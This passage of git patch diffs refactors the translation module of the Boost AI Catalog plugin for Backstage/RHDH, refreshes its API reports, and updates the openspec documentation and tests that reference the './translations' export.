diff --git a/workspaces/boost/plugins/boost/src/plugin.tsx b/workspaces/boost/plugins/boost/src/plugin.tsx index fae1f2db846..01e949fac9c 100644 --- a/workspaces/boost/plugins/boost/src/plugin.tsx +++ b/workspaces/boost/plugins/boost/src/plugin.tsx @@ -14,16 +14,12 @@ * limitations under the License. */ -import { - createFrontendModule, - createFrontendPlugin, -} from '@backstage/frontend-plugin-api'; +import { createFrontendPlugin } from '@backstage/frontend-plugin-api'; import { aiCatalogFilterExtensions } from './extensions/aiCatalogFilters'; import { aiCatalogPage } from './extensions/aiCatalogPage'; import { entityCardExtensions } from './extensions/entityCards'; import { rootRouteRef } from './routes'; -import boostTranslation from './translations'; /** * The Boost frontend plugin for RHDH. @@ -40,13 +36,3 @@ export const boostPlugin = createFrontendPlugin({ root: rootRouteRef, }, }); - -/** - * Translation module — must be installed separately because - * TranslationBlueprint is restricted to pluginId 'app'. - * @public - */ -export const boostTranslationsModule = createFrontendModule({ - pluginId: 'app', - extensions: [boostTranslation], -}); diff --git a/workspaces/boost/plugins/boost/src/translations/index.ts b/workspaces/boost/plugins/boost/src/translations/index.ts index c3ed5ebee52..a4da031a782 100644 --- a/workspaces/boost/plugins/boost/src/translations/index.ts +++ b/workspaces/boost/plugins/boost/src/translations/index.ts @@ -15,6 +15,7 @@ */ import { createTranslationResource } from '@backstage/core-plugin-api/alpha'; +import { createFrontendModule } from '@backstage/frontend-plugin-api'; import { TranslationBlueprint } from '@backstage/plugin-app-react'; import { boostTranslationRef } from './ref'; @@ -35,6 +36,16 @@ const boostTranslation = TranslationBlueprint.make({ }, }); +/** + * Translation module for the Boost plugin. + * + * @public + */ +export const boostTranslationsModule = createFrontendModule({ + pluginId: 'app', + extensions: [boostTranslation], +}); + export { boostTranslationRef }; -export default boostTranslation; +export default boostTranslationsModule; diff --git a/workspaces/boost/plugins/boost/src/translations/ref.ts b/workspaces/boost/plugins/boost/src/translations/ref.ts index 211ebc73105..5f7d642162b 100644 --- a/workspaces/boost/plugins/boost/src/translations/ref.ts +++ b/workspaces/boost/plugins/boost/src/translations/ref.ts @@ -81,7 +81,8 @@ export const boostMessages = { empty: { title: 'No AI assets available', description: - 'AI assets will appear here once they are published to the OCI registry or synced from your catalog.', + 'AI assets appear here after they are published or synced from your catalog. On first load, this may take a moment.', + refresh: 'Refresh', learnMore: 'Learn How to Publish', }, emptyFiltered: { From 239aa6e577fc79076f0128be74a0aff64d2b3bad Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 21:40:28 +0530 Subject: [PATCH 14/16] chore(boost): refresh API reports --- .../boost-entity-provider-sdk/report.api.md | 4 +-- .../plugins/boost/report-translations.api.md | 28 ++++++++--------- workspaces/boost/plugins/boost/report.api.md | 30 +++++++++---------- 3 files changed, 31 insertions(+), 31 deletions(-) diff --git a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md index b50035124f8..b0207feb177 100644 --- a/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md +++ b/workspaces/boost/plugins/boost-entity-provider-sdk/report.api.md @@ -194,8 +194,8 @@ export const SkillBundleMetadataSchema: z.ZodObject< { name: string; version: string; - description?: string | undefined; tags?: string[] | undefined; + description?: string | undefined; author?: string | undefined; runtime?: | { @@ -212,8 +212,8 @@ export const SkillBundleMetadataSchema: z.ZodObject< { name: string; version: string; - description?: string | undefined; tags?: string[] | undefined; + description?: string | undefined; author?: string | undefined; runtime?: | { diff --git a/workspaces/boost/plugins/boost/report-translations.api.md b/workspaces/boost/plugins/boost/report-translations.api.md index fd640931d44..38f5cb32504 100644 --- a/workspaces/boost/plugins/boost/report-translations.api.md +++ b/workspaces/boost/plugins/boost/report-translations.api.md @@ -12,26 +12,22 @@ export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.filter.type': string; - readonly 'catalog.filter.all': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.description': string; readonly 'catalog.filter.title': string; - readonly 'catalog.filter.tag': string; - readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.type': string; readonly 'catalog.filter.provider': string; + readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.tag': string; readonly 'catalog.filter.clearAll': string; + readonly 'catalog.page.title': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; - readonly 'catalog.page.title': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.description': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.refresh': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; @@ -69,6 +65,10 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.handoffDescriptionTitle': string; readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.refresh': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index a1aeedec1d5..f228d6d33d4 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -283,7 +283,6 @@ const boostPlugin: OverridableFrontendPlugin< title?: string | undefined | undefined; }; output: - | ExtensionDataRef | ExtensionDataRef | ExtensionDataRef< RouteRef, @@ -292,6 +291,7 @@ const boostPlugin: OverridableFrontendPlugin< optional: true; } > + | ExtensionDataRef | ExtensionDataRef< string, 'core.title', @@ -370,26 +370,22 @@ export const boostTranslationRef: TranslationRef< 'plugin.boost', { readonly 'nav.aiCatalog': string; - readonly 'catalog.filter.type': string; - readonly 'catalog.filter.all': string; + readonly 'catalog.table.name': string; + readonly 'catalog.table.type': string; + readonly 'catalog.table.provider': string; + readonly 'catalog.table.owner': string; + readonly 'catalog.table.description': string; readonly 'catalog.filter.title': string; - readonly 'catalog.filter.tag': string; - readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.all': string; + readonly 'catalog.filter.type': string; readonly 'catalog.filter.provider': string; + readonly 'catalog.filter.owner': string; + readonly 'catalog.filter.tag': string; readonly 'catalog.filter.clearAll': string; + readonly 'catalog.page.title': string; readonly 'catalog.error.title': string; readonly 'catalog.error.description': string; readonly 'catalog.error.retry': string; - readonly 'catalog.page.title': string; - readonly 'catalog.table.name': string; - readonly 'catalog.table.type': string; - readonly 'catalog.table.description': string; - readonly 'catalog.table.owner': string; - readonly 'catalog.table.provider': string; - readonly 'catalog.empty.title': string; - readonly 'catalog.empty.description': string; - readonly 'catalog.empty.refresh': string; - readonly 'catalog.empty.learnMore': string; readonly 'catalog.toolbar.search': string; readonly 'catalog.toolbar.filters': string; readonly 'catalog.toolbar.allPrefix': string; @@ -427,6 +423,10 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.handoffDescriptionTitle': string; readonly 'catalog.card.handoffTargetsTitle': string; readonly 'catalog.card.ragEnabledLabel': string; + readonly 'catalog.empty.title': string; + readonly 'catalog.empty.description': string; + readonly 'catalog.empty.refresh': string; + readonly 'catalog.empty.learnMore': string; readonly 'catalog.emptyFiltered.title': string; readonly 'catalog.emptyFiltered.description': string; readonly 'catalog.emptyFiltered.clearFilters': string; From d3d33b8be5a59da2942a2831e73ea09b3f33d7a5 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Wed, 16 Sep 2026 00:48:17 +0530 Subject: [PATCH 15/16] fix(boost): address AI Catalog review findings --- .../proposal.md | 2 +- .../specs/ai-catalog-translations/spec.md | 2 +- .../ai-catalog-frontend-translations/tasks.md | 2 +- .../ai-catalog-filter-customization/spec.md | 4 +-- .../AssetDetails/HandoffTargets.test.tsx | 23 ++++++++++++++-- .../entity/AssetDetails/HandoffTargets.tsx | 15 +++++++---- .../boost/src/utils/entityFiltering.test.ts | 27 ++++++++++++++++++- .../boost/src/utils/usageActions.test.ts | 19 +++++++++++++ .../boost-frontend-architecture.md | 2 +- 9 files changed, 82 insertions(+), 14 deletions(-) diff --git a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/proposal.md b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/proposal.md index 7c6751b0ad4..6d6cf579bc0 100644 --- a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/proposal.md +++ b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/proposal.md @@ -14,7 +14,7 @@ de/es/fr/it/ja locale files. This work was split out of `ai-catalog-frontend`. - Add locale files `de.ts`, `es.ts`, `fr.ts`, `it.ts`, `ja.ts` - Register lazy imports in `createTranslationResource` -The translation module entry (`./boost-translations-module`) already exists. +The translation module entry (`./translations`) already exists. ## Impact diff --git a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md index 99e25864344..f7e28db52e9 100644 --- a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md +++ b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md @@ -30,7 +30,7 @@ Each supported language MUST have a complete translation file following the stan - **GIVEN** the plugin is deployed as a dynamic plugin in RHDH - **WHEN** the translation module needs to be auto-discovered -- **THEN** a separate entry point re-exports `boostTranslationsModule` as default (e.g., `./boost-translations-module` in `package.json` exports) +- **THEN** the `./translations` package export exposes `boostTranslationsModule` as the default export - **AND** RHDH auto-discovers the module without explicit `features` array registration ### Requirement: Complete String Coverage diff --git a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/tasks.md b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/tasks.md index 6174a2767ad..4d8a8333eb0 100644 --- a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/tasks.md +++ b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/tasks.md @@ -1,6 +1,6 @@ # Tasks: AI Catalog frontend translations (RHIDP-15479) -- [x] 1. Translation module auto-discovery entry (`./boost-translations-module`) already exists +- [x] 1. Translation module auto-discovery entry (`./translations`) already exists - [ ] 2. Create `src/translations/de.ts` - [ ] 3. Create `src/translations/es.ts` - [ ] 4. Create `src/translations/fr.ts` diff --git a/workspaces/boost/openspec/specs/ai-catalog-filter-customization/spec.md b/workspaces/boost/openspec/specs/ai-catalog-filter-customization/spec.md index aa13182dbca..cecefebcd9d 100644 --- a/workspaces/boost/openspec/specs/ai-catalog-filter-customization/spec.md +++ b/workspaces/boost/openspec/specs/ai-catalog-filter-customization/spec.md @@ -35,7 +35,7 @@ A `FilterDefinition` interface MUST define the contract, and a Blueprint MUST wr - **AND** the extension attaches to `page:boost/ai-catalog` input `filters` - **AND** the Blueprint has no `config` schema (no deployer YAML config per filter) -#### Scenario: FilterSidebar renders generic Select for each filter +#### Scenario: CatalogFilters renders generic Select for each filter - **WHEN** the filter sidebar renders - **THEN** it maps over resolved `FilterDefinition[]` and renders a `` rendering in `FilterSidebar` +- **AND** all share the same generic `